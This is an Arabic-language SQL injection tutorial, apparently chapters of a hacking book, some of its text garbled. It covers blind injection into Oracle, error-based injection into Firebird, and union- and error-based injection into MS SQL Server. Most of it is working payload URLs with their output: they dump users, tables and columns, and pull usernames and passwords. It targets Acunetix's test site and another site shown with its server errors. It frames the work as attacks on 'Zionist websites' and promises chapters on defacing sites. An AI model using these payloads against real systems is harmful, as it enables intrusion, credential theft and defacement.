‫ لذا لنبدأ‬, oracle ‫ تقنية جديدة من تقنيات الحقن العمي لقواعد بيانات‬DBMS_PIPE.RECEIVE_MESSAGE ‫تقنية‬
‫ الذي سوف نعتمد عليه بهذا الباب‬ASCII ‫أوللا بعرض جدول الـ‬

☆╦╚◘• ASCII Table •◘╦╚☆

DEC Symbol Description


32 Space
33 ! Exclamation mark
Double quotes (or speech
34 "
marks)
35 # Number
36 $ Dollar
37 % Procenttecken
38 & Ampersand
39 ' Single quote
Open parenthesis (or open
40 )
bracket)
Close parenthesis (or close
41 (
bracket)
42 * Asterisk
43 + Plus
44 , Comma
45 - Hyphen
46 . Period, dot or full stop
47 / Slash or divide
48 0 Zero
49 1 One
50 2 Two
51 3 Three
52 4 Four
53 5 Five
54 6 Six
55 7 Seven
56 8 Eight
57 9 Nine
58 : Colon
59 ; Semicolon
Less than (or open angled
60 >
bracket)
61 = Equals
Greater than (or close angled
62 <
bracket)
63 ? Question mark
64 @ At symbol
65 A Uppercase A
66 B Uppercase B
67 C Uppercase C
68 D Uppercase D
69 E Uppercase E
70 F Uppercase F
71 G Uppercase G
72 H Uppercase H
73 I Uppercase I
74 J Uppercase J
75 K Uppercase K
76 L Uppercase L
77 M Uppercase M
78 N Uppercase N
79 O Uppercase O
80 P Uppercase P
81 Q Uppercase Q
82 R Uppercase R
83 S Uppercase S
84 T Uppercase T
85 U Uppercase U
86 V Uppercase V
87 W Uppercase W
88 X Uppercase X
89 Y Uppercase Y
90 Z Uppercase Z
91 ] Opening bracket
92 \ Backslash
93 [ Closing bracket
94 ^ Caret - circumflex
95 _ Underscore
96 ` Grave accent
97 a Lowercase a
98 b Lowercase b
99 c Lowercase c
100 d Lowercase d
101 e Lowercase e
102 f Lowercase f
103 g Lowercase g
104 h Lowercase h
105 i Lowercase i
106 j Lowercase j
107 k Lowercase k
108 l Lowercase l
109 m Lowercase m
110 n Lowercase n
111 o Lowercase o
112 p Lowercase p
113 q Lowercase q
114 r Lowercase r
115 s Lowercase s
116 t Lowercase t
117 u Lowercase u
118 v Lowercase v
119 w Lowercase w
120 x Lowercase x
121 y Lowercase y
122 z Lowercase z
123 } Opening brace
124 | Vertical bar
125 { Closing brace
126 ~ Equivalency sign - tilde
127 Delete
current User ‫إستخراج الـ‬

‫الستعلم الرمستخدم‬

+AND+1=(CASE+WHEN+(ASCII(SUBSTRC((SELECT+NVL(CAST(USER+AS+VARCHAR(4000)),CHR(32))+
FROM+DUAL),1,1))= ascii ‫) قيمة رقمية لـ‬+THEN+DBMS_PIPE.RECEIVE_MESSAGE(CHR(97)||CHR(98)||CHR(99)||
CHR(100),5)+ELSE+1+END)

‫ كالتالي‬ascii ‫ مكان الـ قيمة رقمية لـ‬d ‫ والتي رتساوي الحرف‬64 ‫فالنبدأ مثل ل والقيمة‬

www.InjectorBoy.md/page.jsp?
id=5+AND+1=(CASE+WHEN+ASCII(SUBSTRC((SELECT+NVL(CAST(USER+AS+VARCHAR(4000)),CHR(32))
+FROM+DUAL),1,1))=64)+THEN+DBMS_PIPE.RECEIVE_MESSAGE(CHR(97)||CHR(98)||CHR(99)||
CHR(100),5)+ELSE+1+END)

‫ لنجرب حرف ثاني مع رملحظة إستبدال القيمة‬d ‫الصفحة قامت بالتحميل لمدة خمسة ثواني مما يعني أن الحرف الول هو الحرف‬
‫الرقمية واحد إلى رقم إثنين الذي يعني الحرف الثاني‬

FROM+DUAL),1,1))=64)

FROM+DUAL),2,1))=64)
www.InjectorBoy.md/page.jsp?
id=5+AND+1=(CASE+WHEN+ASCII(SUBSTRC((SELECT+NVL(CAST(USER+AS+VARCHAR(4000)),CHR(32))
+FROM+DUAL),2,1))=117)+THEN+DBMS_PIPE.RECEIVE_MESSAGE(CHR(97)||CHR(98)||CHR(99)||
CHR(100),5)+ELSE+1+END)

‫لم يحدث شئ لرنجرب رقم أخر‬

www.InjectorBoy.md/page.jsp?
id=5+AND+1=(CASE+WHEN+ASCII(SUBSTRC((SELECT+NVL(CAST(USER+AS+VARCHAR(4000)),CHR(32))
+FROM+DUAL),2,1))=68)+THEN+DBMS_PIPE.RECEIVE_MESSAGE(CHR(97)||CHR(98)||CHR(99)||
CHR(100),5)+ELSE+1+END)

dh_gasiop ‫ هو‬User ‫ وهكذا الـ‬h ‫الحرف الثاني‬


▂ ▃ ▄ ▅ ▆ ▇ █ ‫▂ ▃ ▄ ▅ ▆ ▇ █ دمرفقات التقنية‬

Version ‫إستخراج الـ‬

+AND+1=(CASE+WHEN+ASCII(SUBSTRC((SELECT+NVL(CAST(banner+AS+VARCHAR(4000)),CHR(32))
+FROM+v$version),1,1))=ascii ‫)قيمة رقمية لـ‬+THEN+DBMS_PIPE.RECEIVE_MESSAGE(CHR(97)||CHR(98)||
CHR(99)||CHR(100),5)+ELSE+1+END)

Database ‫إستخراج الـ‬

+AND+1=(CASE+WHEN+(ASCII(SUBSTRC((SELECT+NVL(CAST(name+AS+VARCHAR(4000)),CHR(32))
+FROM+v$database),1,1))= ascii ‫) قيمة رقمية لـ‬+THEN+DBMS_PIPE.RECEIVE_MESSAGE(CHR(97)||CHR(98)||
CHR(99)||CHR(100),5)+ELSE+1+END)

Table_Name ‫إستخراج الـ‬

+AND+1=(CASE+WHEN+ASCII(SUBSTRC((SELECT+NVL(CAST(table_name+AS+VARCHAR(4000)),CHR(32)
)+FROM+all_tables),1,1))= ascii ‫) قيمة رقمية لـ‬+THEN+DBMS_PIPE.RECEIVE_MESSAGE(CHR(97)||CHR(98)||
CHR(99)||CHR(100),5)+ELSE+1+END)

Column_Name ‫إستخراج الـ‬

+AND+1=(CASE+WHEN+ASCII(SUBSTRC((SELECT+NVL(CAST(column_name+AS+VARCHAR(4000)),CHR(
32))+FROM+all_tab_columns WHERE table_name = ‘‫);’الجدول الرمستخرج‬,1,1))= ascii ‫) قيمة رقمية لـ‬
+THEN+DBMS_PIPE.RECEIVE_MESSAGE(CHR(97)||CHR(98)||CHR(99)||CHR(100),5)+ELSE+1+END)

▂ ▃ ▄ ▅ ▆ ▇ █ ‫نهايـــة الفـصــ ل‬ █ ▇ ▆ ▅ ▄ ▃ ▂
‫الفصل الحادي عشر ‪ :‬حقن قواعد الـ ‪Firebird‬‬

‫فيربيرد ‪ :‬هو محرك قاعدة بيانات علئقية مفتوح المصدر ‪ .‬تم تطويره من النسخة مفتوحة المصدر من قاعدة البيانات إنتربيز التي‬
‫أنتجتها شركة بورلند ‪.‬‬

‫و هو يمتاز بخفته وسهولة تثبيته وهو موجودة في أكثر من منصة نظام تشغيل‪ ،‬مثل وندوز ‪ ،‬لينكس وماكنتوش ‪.‬‬

‫ويمكن التعامل مع قواعد بياناتها بواسطة برامج إدارة قواعد البيانات المصممة له مثل ‪:‬‬

‫فايربيرد هو نظام قوي ومكتمل المزايا لدارة قواعد البيانات العلئقية‪ .‬ويمكنه مناولة قواعد بيانات حجمها من مجموعة كيلو‬
‫بايت فقط إلى العديد من الغيغابايت مع أداء جيد ودون الحاجة إلى صيانتها في أغلب الحوال! فيما يلي قائمة ببعض أهم‬
‫مزايا فايربيرد‪ • :‬دعم كامل للجرائيات المخزونة ‪ Stored Procedures‬والمفعلت ‪( • Triggers‬تلبية كاملة لعمليات‬
‫‪) ACID‬الوحدانية‪ ،‬التجانس‪ ،‬العزل‪ ،‬المتانة • تكامل مرجعي ‪ • Referential Integrity‬معمارية متعددة الجيال ‪Multi‬‬
‫‪ • Generational Architecture‬بصمة صغيرة جدا • لغة داخلية مكتملة المزايا للجرائيات المخزونة والمفعلت ـ ‪PSQL‬ـ •‬
‫دعم الجرائيات الخارجية ـ ‪UDFs‬ـ • ندرة الحاجة لوجود مدراء قواعد بيانات متخصصين ‪ • DBase‬ل حاجة للتوصيفات تقريبا‬
‫– فقط قم بتثيته وابدأ التشغيل! • مجتمع كبير لفايربيرد والعديد من الماكن التي تجد فيها دعما مجانيا جيدا‪ • .‬خيار‬
‫استخدام نسخة مدمجة ‪ embedded‬بملف وحيد – خيار جيد لنشاء تطبيقات على القرص المدمج‪ ،‬أو لمستخدم واحد‪ ،‬أو تلك‬
‫الخاصة بالعرض والتقييم‪ • .‬العشرات من الدوات من مصادر خارجية‪ ،‬من ضمنها أدوات رسومية للتحكم ولدارة‪ ،‬وأدوات توأمة‬
‫البيانات‪ ،‬ألخ • الكتابة بعناية – استعادة سريعة‪ ،‬دون الحاجة لملفات تدوين العمليات ‪ • ! logs‬عدة طرق للنفاذ إلى قاعدة‬
‫البيانات‪ :‬عبر الدوال الصلية ‪ native/API‬أو مسيرات ‪ dbExpress‬أو مزودات ‪ ODBC‬و ‪ OLEDB‬ودوت نت ومسيرات‬
‫‪ JDBC‬وقوالب لبايثون ‪ Paython‬و ‪ PHP‬و ‪ ،Perl‬الخ ‪.‬‬
•◘╦╚☆ ‫•◘╚╦☆ الفروقات الساسية‬

mysql ‫ وقواعد الـ‬Firebird ‫لرنلفت نظر حضرارتكم إلى الفروقات بين قواعد الـ‬

. rdb$relation_name ‫ فريكنى بـ‬Firebird ‫ أما بقواعد الـ‬table_name ‫ دائما ل أسم الجدول ريكنى بـ‬mysql ‫ بقواعد الـ‬: ‫أول‬

. rdb$field_name ‫ فريكنى بـ‬Firebird ‫ أما بقواعد الـ‬column_name ‫ دائما ل أسم العمود ريكنى بـ‬mysql ‫ بقواعد الـ‬: ‫ثانيا ل‬

•◘╦╚☆ ‫خطوات حقن قواعد فايربيرد‬


‫•◘╚╦☆ ر‬

user ‫ معرفة الـ‬-1

‫الستعلم الرمستخدم لذلك‬

‫ حتى ل تعود علينا الستعلمات بالخطاء وذلك ليس‬/**/ ‫ للبعاد بين الستعلمات بل نستخدم الـ كومنتس‬+ ‫ ل نستخدم الـ‬: ‫رملحوظة‬
. ‫ كما يوضح بالتجرربة التالية‬# ‫ ونقوم بغلق الستعلمات دائما ل برمز الشباك‬, ‫دائما ل إنما فى بعض الحيان فقط‬

/**/and/**/1=user#

www.InjectorBoy.GHT/as/exibir_noticias.php?id=362+and+1=user#

Warning: ibase_query() [function.ibase-query]: Dynamic SQL Error SQL error code = -104 as approximate
floating-point values in SQL dialect 1, but as 64-bit in \\deceasrv16\hca$\noticias\exibir_noticias.php on line 15

www.InjectorBoy.GHT/as/exibir_noticias.php?id=362/**/and/**/1=user#

Warning: ibase_query() [function.ibase-query]: Dynamic SQL Error SQL error code = CNWR -104 as
approximate floating-point values in SQL dialect 1, but as 64-bit in \\deceasrv16\hca$\noticias\exibir_noticias.php
on line 15

CNWR ‫قيمة اليوزر رتساوي‬

database ‫ معرفة الـ‬-2

‫الستعلم الرمستخدم لذلك‬

+and+1=(select+first+1+rdb$relation_name+from+rdb$relations+where+rdb$system_flag=0)#

www.InjectorBoy.GHT/as/exibir_noticias.php?
id=362/**/and/**/1=(select/**/first/**/1/**/rdb$relation_name/**/from/**/rdb$relations/**/where/**/rdb$system_fla
g=0)#

Warning: ibase_query() [function.ibase-query]: Dynamic SQL Error SQL error code = CNW_NOTS -104 as
approximate floating-point values in SQL dialect 1, but as 64-bit in \\deceasrv16\hca$\noticias\exibir_noticias.php
on line 15

CNW_NOTS ‫ تساوي‬database ‫قيمة الـ‬


tables ‫ معرفة الـ‬-3

‫الستعلم الرمستخدم لذلك‬

+and+1= select+first+1+skip+0+distinct+cast(rdb$relation_name+as+integer)
+from+rdb$relations+where+rdb$system_flag=0)#

www.InjectorBoy.GHT/as/exibir_noticias.php?
id=362/**/and/**/1=(select/**/first/**/1/**/skip/**/0/**/distinct/**/rdb$relation_name/**/from/**/rdb$relation_field
s)#

Warning: ibase_query() [function.ibase-query]: Dynamic SQL Error SQL error code = CNW_NOTICIAS -104
as approximate floating-point values in SQL dialect 1, but as 64-bit in
\\deceasrv16\hca$\noticias\exibir_noticias.php on line 15

. ‫ أي المسؤلة عن التبديل بين الجداول والعمدة‬limit+0 ‫ هي نفس قيمة الـ‬skip+0 ‫ الـ‬: ‫ملحوظة‬

‫ كان‬31 ‫ لذا عند القيمة‬, skip+0 ‫ ولتصرفح باقى الجداول نقوم بالتبديل بقيمة بالـ‬CNW_NOTICIAS ‫الجدول الول ريساوي القيمة‬
. RDB$USER_PRIVILEGES ‫الجدول الرمستهدف يستقر وهو الـ‬

www.InjectorBoy.GHT/as/exibir_noticias.php?
id=362/**/and/**/1=(select/**/first/**/1/**/skip/**/31/**/distinct/**/rdb$relation_name/**/from/**/rdb$relation_fiel
ds)#

Warning: ibase_query() [function.ibase-query]: Dynamic SQL Error SQL error code =


RDB$USER_PRIVILEGES -104 as approximate floating-point values in SQL dialect 1, but as 64-bit in
\\deceasrv16\hca$\noticias\exibir_noticias.php on line 15

column's ‫ معرفة الـ‬-4

‫الستعلم الرمستخدم لذلك‬

+and+1=(select+first+1+skip+0+distinct+rdb$field_name+from+rdb$relation_fields+where+rdb$relation_name=(sele
ct+first+1+skip+0+distinct+rdb$relation_name+from+rdb$relation_fields))#

‫ إلى القيمة التي رتساوي قيمة الجدول الرمستخرج سابقا ل مع البقاء على قيمة‬skip+0 ‫ لنستبدل القيمة الثانية للـ‬: ‫ملحوظة‬
. ‫ الولى والتي تنتمي لتبديل بين قيم العمدة‬skip+0

www.InjectorBoy.GHT/as/exibir_noticias.php?id=362/**/and/**/1=
%28select/**/first/**/1/**/skip/**/0/**/rdb$field_name/**/from/**/rdb$relation_fields/**/where/**/rdb$relation_na
me=%28select/**/first/**/1/**/skip/**/31/**/distinct/**/rdb$relation_name/**/from/**/rdb$relation_fields%29%29#

Warning: ibase_query() [function.ibase-query]: Dynamic SQL Error SQL error code = USER -104 as
approximate floating-point values in SQL dialect 1, but as 64-bit in \\deceasrv16\hca$\noticias\exibir_noticias.php
on line 15

‫ الولى‬skip+0 ‫ وطبعا ل لتصفح باقي العمدة كما رقلت سابقا ل تكون بتبديل القيمة الخاصة بـ‬USER ‫العمود الول ريساوي القيمة‬
. ‫من الستعلم‬
‫ معرفة البيانات النهائية‬-5

‫الستعلم الرمستخدم لذلك‬

+and+1=(select+first+1+skip+0+column+from+table)#

: ‫هذا الستعلم لستخراج قيمة واحدة من العمدة أما لو أردنا إستخراج قيمتين فعلينا بإستخدام الستعلم التالي‬

+and+1=(select+first+1+skip+0+column1||column2+from+table)#

. ‫ بما تم إستخراجة سابقا ل‬table ‫ والقيمة‬column ‫طبعا ل مع رملحظة تبديل القيم‬

www.InjectorBoy.GHT/as/exibir_noticias.php?
id=362/**/and/**/1=(select/**/first/**/1/**/skip/**/0/**/RDB$USER/**/from/**/RDB$USER_PRIVILEGES)#

Warning: ibase_query() [function.ibase-query]: Dynamic SQL Error SQL error code = flaower36 -104 as
approximate floating-point values in SQL dialect 1, but as 64-bit in \\deceasrv16\hca$\noticias\exibir_noticias.php
on line 15
‫� الفصل الثاني عشر ‪ :‬حقن سيرفرات ويندوز �‬

‫في هذا الفصل سوف ندرس كافة تقنيات حقن قواعد بيانات ويندوز سيرفر لذا يجب أن ننتبه جيدا ل لهمية هذا الفصل نظرا ل‬
‫لكثرة إعتماد المواقع الصهيونية على هذه القواعد ‪-‬‬

‫☆*•‪ ☆¸.‬الرمحتويات ☆¸‪☆*•.‬‬

‫‪ -1‬حقن قواعد بيانات ويندوز سيرفر الـ ‪. Union Based‬‬

‫‪ -2‬حقن قواعد بيانات ويندوز سيرفر الـ ‪. Error Based‬‬

‫‪ -3‬حقن قواعد بيانات ويندوز سيرفر عملية زرع الـ ‪ Image‬الرمعبرة على الختراق ‪.‬‬

‫‪ -4‬حقن قواعد بيانات ويندوز سيرفر عملية زرع الـ ‪ Index‬الرمعبرة على الختراق ‪.‬‬
‫الباب الول ‪ :‬حقن قواعد بيانات ويندوز سيرفر تقنية الـ ‪Union Based‬‬

‫حقن قواعد بيانات ميكروسوفت إس كيو إل سيرفر ‪ Microsoft SQL Server‬يختلف كثيرا ل عن حقن قواعد بيانات ‪Mysql‬‬
‫التي تعلمنا أساليب إستغللها سابقا ل لذا سوف نعلرض علي ر‬
‫كم الكثير من الساليب الخاصة بها بهذا الفصل الرممتد وسوف نبدأ‬
‫هذا الباب الول بتقنية الـ ‪. Union Based‬‬

‫لنعلم أول ل أن الـ إس كيو إل سيرفر هو برنامج لقواعد البيانات العلئقية من إنتاج مايكروسوفت ‪ ،‬لغة الستعلم الرئيسية فيه‬
‫هي إس كيو إل وتي‪-‬سكيول ‪ ,‬وسوف نعتمد الموقع الرسمي الرمخصص لختبار تقنيات الحقن من شركة ‪ acunetix‬الذي يعمل‬
‫تحت تقنية الـ إيه إس بي دوت نت ‪.‬‬

‫الـ إيه إس بي دوت نت ‪ ASP.NET‬إختصارا لـ ‪ Active Server Pages‬والتي تعني صفحات الخادم النشط هو إطار لتطبيقات‬
‫الويب تم تطويره وتسويقه من خلل شركة مايكروسوفت من أجل إعطاء القدرة للمبرمجين على بناء مواقع ويب ديناميكية‬
‫وتطبيقات ويب وخدمات ويب ‪ ,‬وتم إصداره في يناير من عام ‪ 2002‬مع النسخة رقم ‪ 1.0‬من إطار عمل دوت نت ‪ ,‬وتعتبر‬
‫هذه التقنية خلفا ل لتقنية ‪) ASP‬صفحات الخادم النشطة( كما أن ‪ ASP.NET‬تم بناؤها لتستند على تقنية ‪) CLR‬وقت التشغيل‬
‫المشترك بين اللغات( مما يسمح للمبرمجين بكتابة أكوادهم الخاصة بإطار ‪ ASP.NET‬باستخدام أي لغة برمجة يفضلونها على‬
‫أن تكون مدعومة بإطار عمل دوت نت ‪.‬‬

‫يهدف ‪ ASP.NET‬إلى أفضل أداء بحيث يفوق أي تقنية معتمدة على أكواد نصية ‪) Scripts‬متضمنة الـ ‪ ASP‬الكلسيكي( ‪،‬‬
‫وذلك يتم عبر ترجمة الكود الذي سيعمل في جهة الخادم ‪ Server Side‬إلى ملف ‪ DLL‬أو أكثر يتم استضافته‪/‬استضافتهم على‬
‫خادم الويب ‪ ,‬وتتم هذه الترجمة بشكل آلي في أول مرة يتم استدعاء الصفحة بها )وذلك يعني أنه ليس على المطور أن يقوم‬
‫بعمل أي خطوات لترجمة ‪ Compile‬الصفحات( هذه الخاصية توفر تطويرا سهل باستخدام لغة برمجة نصية وتوفر أداء ممتازا‬
‫مثل الذلك الضي يصاحب الترجمة الثنائية ‪. Binary‬‬
‫لنبدأ الشرح بعرض الموقع الرمخصص الشرح علية والرمقدم من ‪ acunetix‬وإختبار إمكانية الصابة ‪.‬‬

‫‪testasp.vulnweb.com/showforum.asp?id=1‬‬

‫'‪testasp.vulnweb.com/showforum.asp?id=1‬‬

‫لحظنا بالصورة السابقة بإختبار الكشف عن وجود الثغرة بإستخدام علمة التنصيص الفردية كومة أن النتيجة إجابية لذا لنبدأ الخطوة‬
‫كلية للعمدة ‪.‬‬‫الولى من خطوات الحقن بإختبار الكشف عن القيمة ال ر‬

‫رملحظة‬

‫أول ل ‪ :‬في حالة كانت قيمة الخطأء الناتج رتساوي أحد القيمة التالية ‪:‬‬

‫‪[1] - Unclosed quotation mark after the character string ''.‬‬

‫" =‪[2] - syntax error in string in query expressuion 'id‬‬

‫" =‪[3] - syntax error in (comma) in query expressuion 'id‬‬

‫فهذا معناهر أن الثغرة ريمكن إستغللها ‪.‬‬


: ‫ أما إن كانت القيمة الناتجة بالخطأ رتساوي القيمة‬: ‫ثانيا ل‬

Input string was nit in a correct format

www.InjectorBoy.GHT?asp=1’

- ‫فهذا معناهر أن الثغرة ل ريمكن إستغللها‬


: Runrime Error ‫ أما في حالة إن كان الخطأ الناتج ريساوي القيمة‬: ‫ثالثا ل‬

www.InjectorBoy.GHT?asp=1’

- ‫فهذا معناهر أن الثغرة قد تكون رمرقعة ويكون رمجرد خطأ وقد ل تكون رمرقعة أي مسئلة حظ ل أكثر على الغالب‬
‫لنرلجع مرجوعنا إلى تقنية تحصيل القيمة ال ر‬
. ‫كلية للعمدة‬

testasp.vulnweb.com/showforum.asp?id=1 order by 100-- - ‫خطأ‬


testasp.vulnweb.com/showforum.asp?id=1 order by 50-- - ‫خطأ‬
testasp.vulnweb.com/showforum.asp?id=1 order by 25-- - ‫خطأ‬
testasp.vulnweb.com/showforum.asp?id=1 order by 10-- - ‫خطأ‬
testasp.vulnweb.com/showforum.asp?id=1 order by 5-- - ‫خطأ‬
testasp.vulnweb.com/showforum.asp?id=1 order by 4-- - ‫خطأ‬
testasp.vulnweb.com/showforum.asp?id=1 order by 3-- - ‫خطأ‬
testasp.vulnweb.com/showforum.asp?id=1 order by 2-- - ‫ل يوجد خطأ‬
testasp.vulnweb.com/showforum.asp?id=1 order by 3-- - ‫خطأ‬

testasp.vulnweb.com/showforum.asp?id=1 order by 2-- - ‫ل يوجد خطأ‬

‫بالختبار السابق تبين أن عدد العمدة ال ر‬


. ‫كلية هي عمودين فقط لذا لنتقل إلى الخطوة التالية وهي كتابة الستغلل الكامل للعمدة‬

testasp.vulnweb.com/showforum.asp?id=.1 union select 1,2-- -


‫ملحوظة ‪ :‬لن الموقع الرمعتمد الشرح علية قائم بتطبيق الـ إيه إس بي دوت نت ريمكننا أن نري العمود الرمصاب رقم واحد بالصفحة‬
‫لخرى التي ل تعتمد هذا التطبيق لديها فل ريمكن‬‫ويمكن أيضا ل إعتماد رأسلوب الحقن المباشر بالستعلمات عليه ذلك عكس المواقع ا ر‬
‫ر‬
‫أن نري رقم العمود الرمصاب بالصفحة ولريمكن إستخدام الستعلمات الرمباشرة بل الرمعتمد عليها فقط تقنية التخمين ‪ ,‬فبعد كتابة‬
‫الستغلل الكامل للعمدة نقوم بتخمين الجدول الرمستهدف ثم يلي ذلك تخمين العمدة ‪.‬‬

‫الخطوة التالية الن سوف تكون بعرض الستعلمات الرمستخدمة لستخراج البيانات من قاعدة البيانات ‪-‬‬

‫‪ -1‬إستخراج إصدار قاعدة البيانات‬

‫الستعلم الرمستخدم لذلك‬

‫)‪1- convert(int,@@version‬‬
‫‪or‬‬
‫)‪2- cast(version() as int‬‬

‫‪testasp.vulnweb.com/showforum.asp?id=.1 union select convert(int,@@version),2-- -‬‬

‫‪Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86) Feb 9 2007 22:47:07 Copyright (c) 1988-2005 Microsoft‬‬
‫)‪Corporation Express Edition on Windows NT 5.2 (Build 3790: Service Pack 2‬‬

‫‪ -2‬استخراج الجداول‬

‫الستعلم الرمستخدم لذلك‬

‫)) )(‪convert(int,(select top 1 table_name+from information_schema.tables where table_schema!=db_name‬‬

‫‪testasp.vulnweb.com/showforum.asp?id=.1 union select convert(int,(select top 1 table_name+from‬‬


‫‪information_schema.tables where table_schema!=db_name() )),2-- -‬‬
threads ‫الجدول الول الرمستخرج‬

‫لتصرفح باقي الجداول سوف نقوم بإضافة القيمة التالية للستعلم‬

and table_name<>'‫'الجدول الرمستخرج‬

convert(int,(select top 1 table_name+from information_schema.tables where table_schema!=db_name() and


table_name<>'threads'))

testasp.vulnweb.com/showforum.asp?id=.1 union select convert(int,(select top 1 table_name+from


information_schema.tables where table_schema!=db_name() and table_name<>'threads')),2-- -

‫ وهو الجدول الرمستهدف‬users ‫الجدول الثاني‬

‫لخرى نقوم بإضافة نفس الستعلم الضافي السابق مرة رأخري‬


‫لتصرفح باقي الجداول ا ر‬
- ‫وإضافة إسم الجدول الجديد الرمستخرج إليه كالتالي‬

testasp.vulnweb.com/showforum.asp?id=.1 union select convert(int,(select top 1 table_name+from


information_schema.tables where table_schema!=db_name() and table_name<>'threads' and table_name<>'users')),2--
-

‫ استخراج العمدة‬-3

- users ‫الخطوة التالية الن سوف نكون بإستخراج العمدة من الجدول الرمستهدف‬

‫الستعلم الرمستخدم لذلك‬

convert(int,(select top 1 column_name+from information_schema.columns where table_name='Table'))


‫ وذلك كي نستطبع‬users ‫كم بالجدول الرمستخرج سابقا ل‬
‫ بالستعلم المعروض علي ر‬Table ‫لرنلحظ إننا سوف نقوم بإستبدل القيمة‬
. ‫تحصيل قيم العمدة منه‬

testasp.vulnweb.com/showforum.asp?id=.1 union select convert(int,(select top 1 column_name+from


information_schema.columns where table_name='users')),2-- -

‫ ولتصرفح باقي العمدة نقوم بإضافة القيمة التالية للستعلم كما فعلنا مع الجداول سابقا ة ونقوم تاليا ل‬uname ‫العمود الول الرمستخرج‬
. ‫ بالعمود الول الرمستخرج‬Column ‫بإستبدال القيمة‬

and column_name<>'Column'

convert(int,(select top 1 column_name+from information_schema.columns where table_name='Table' and


column_name<>'Column'))

testasp.vulnweb.com/showforum.asp?id=.1 union select convert(int,(select top 1 column_name+from


information_schema.columns where table_name='users' and column_name<>'uname')),2-- -

. ‫ ولتصرفح باقي العمدة نقوم تماما ل بفعل ما فعلناهر مع الجداول‬upass ‫العمود الثاني‬
‫ استخراج البيانات‬-4

Column ‫ و‬Table ‫الخطوة التالية الن سوف نقوم بإستخراج قيم العمدة التي حصلناها بالمرحلة السابقة مع رمراعاة تبديل القيم‬
. ‫بما ريناسبها‬

‫الستعلم الرمستخدم لذلك‬

convert(int,(select top 1 Column from Table))

testasp.vulnweb.com/showforum.asp?id=.1 union select convert(int,(select top 1 uname from users)),2-- -

testasp.vulnweb.com/showforum.asp?id=.1 union select convert(int,(select top 1 upass from users)),2-- -

g00dPa$$w0rD ‫اليوز !))(&&!|*|*| والباس‬

: ‫ للفصل بين القيمتين الخصيين بالعمدة كالتالي‬2b'/'%2b% ‫ولتحصيل القيمتين معا ل بإستعلم واحد نقوم بإضافة القيمة‬

convert(int,(select top 1 Column1%2b'/'%2bColumn2 from Table))

testasp.vulnweb.com/showforum.asp?id=.1 union select convert(int,(select top 1 uname%2b'/'%2bupass from


users)),2-- -

‫ في بعض الحيان تحردث رمشكلة وهي عدم ظهور أي قيم على الشاشة بالصفحة للقيم النهائية للعمدة وذلك نتيجة‬: ‫رملحظة‬
‫ان الـ ‪ pass‬يكون في بعص الحيان عبارة عن أرقام وليس حروف وبالستعلم الرمستخدم نحرن رقمنا بتحويلة من خلل الـ ‪convert(int‬‬
‫إلي رقم وهو بالساس رقم فحدث خطأ نتيجة ذلك ‪ ,‬لذا الحل لهذه الرمعلضلة هي بتحويل الرقم الى نص ومن ثمل نطلب تحويله الى رقم‬
‫مرة رأخرى والدالة التي من خللها نستطيع تحويل الرقم الى نص وذلك من خلل دمج نص مع الرقم هي الدالة ‪QUOTENAME‬‬

‫شكل الداله العام‬

‫) ] '‪QUOTENAME ( 'character_string' [ , 'quote_character‬‬

‫ورمسمى هذا الحل ] حل مشكلة القيم الرقمية بقواعد بيانات ‪[ Microsoft SQL Server‬‬

‫وبدمجها مع الستعلم لدينا سوف تكون النتيجة النهائية كالتالي ‪:‬‬

‫))‪convert(int,(select+top+1+QUOTENAME(Column,'''')+from+Table‬‬

‫)''''‪testasp.vulnweb.com/showforum.asp?id=.1 union select convert(int,(select+top+1+QUOTENAME(upass,‬‬


‫‪+from+users)),2-- -‬‬
‫الباب الثاني ‪ :‬حقن قواعد بيانات ويندوز سيرفر بتقنية الـ ‪Error Based‬‬

‫سوف ندررس بهذا الباب تقنية حقن قواعد بيانات ويندوز سيرفر بالـ ‪ Error Based‬ولنبدأ بعرض الموقع الرمخصص الشرح علية والرمقدم‬
‫من ‪. acunetix‬‬

‫‪testasp.vulnweb.com/showforum.asp?id=1‬‬
‫ إستخراج إصدار قاعدة البيانات‬-1
‫الستعلم الرمستخدم لذلك‬

or 1=convert(int,(@@version))

testasp.vulnweb.com/showforum.asp?id=1+or 1=convert(int,(@@version))-- -

‫ استخراج الجداول‬-2
‫الستعلم الرمستخدم لذلك‬

or 1=convert(int,(select top 1 name from sysobjects where xtype=char(85)))

and name!='TABLE'

testasp.vulnweb.com/showforum.asp?id=1+or 1=convert(int,(select top 1 name from sysobjects where


xtype=char(85))) -- -

‫ ولتصرفح باقي الجداول سوف نقوم بإضافة القيمة التالية للستعلم‬threads ‫الجدول الول الرمستخرج‬

and name!='‫'الجدول الرمستخرج‬

testasp.vulnweb.com/showforum.asp?id=1+or 1=convert(int,(select top 1 name from sysobjects where xtype=char(85)


and name!='threads')) -- -
‫لخرى نقوم بإضافة نفس الستعلم الضافي السابق مرة رأخري‬‫الجدول الثاني ‪ users‬وهو الجدول المستهدف ولتصرفح باقي الجداول ا ر‬
‫ر‬
‫وإضافة إسم الجدول الجديد الرمستخرج إليه كالتالي ‪.‬‬

‫)‪testasp.vulnweb.com/showforum.asp?id=1+or 1=convert(int,(select top 1 name from sysobjects where xtype=char(85‬‬


‫‪and name!='threads' and name!='users')) -- -‬‬

‫‪ -3‬استخراج العمدة‬
‫الخطوة التالية الن سوف نكون بإستخراج العمدة من الجدول الرمستهدف ‪- users‬‬

‫الستعلم الرمستخدم لذلك‬

‫))'‪or 1=convert(int,(select top 1 column_name+from information_schema.columns where table_name='Table‬‬

‫كم بالجدول الرمستخرج سابقا ل ‪ users‬وذلك كي نستطبع‬


‫لرنلحظ إننا سوف نقوم بإستبدل القيمة ‪ Table‬بالستعلم المعروض علي ر‬
‫تحصيل قيم العمدة منه ‪.‬‬
‫‪testasp.vulnweb.com/showforum.asp?id=1+or 1=convert(int,(select top 1 column_name+from‬‬
‫‪information_schema.columns where table_name='users')) -- -‬‬

‫العمود الول الرمستخرج ‪ uname‬ولتصرفح باقي العمدة نقوم بإضافة القيمة التالية للستعلم كما فعلنا مع الجداول سابقا ة ونقوم تاليا ل‬
‫بإستبدال القيمة ‪ Column‬بالعمود الول الرمستخرج ‪.‬‬

‫'‪and column_name<>'Column‬‬

‫‪testasp.vulnweb.com/showforum.asp?id=1+or 1=convert(int,(select top 1 column_name+from‬‬


‫‪information_schema.columns where table_name='users' and column_name<>'uname')) -- -‬‬

‫العمود الثاني ‪ upass‬ولتصرفح باقي العمدة نقوم تماما ل بفعل ما فعلناهر مع الجداول ‪.‬‬
‫ استخراج البيانات‬-4

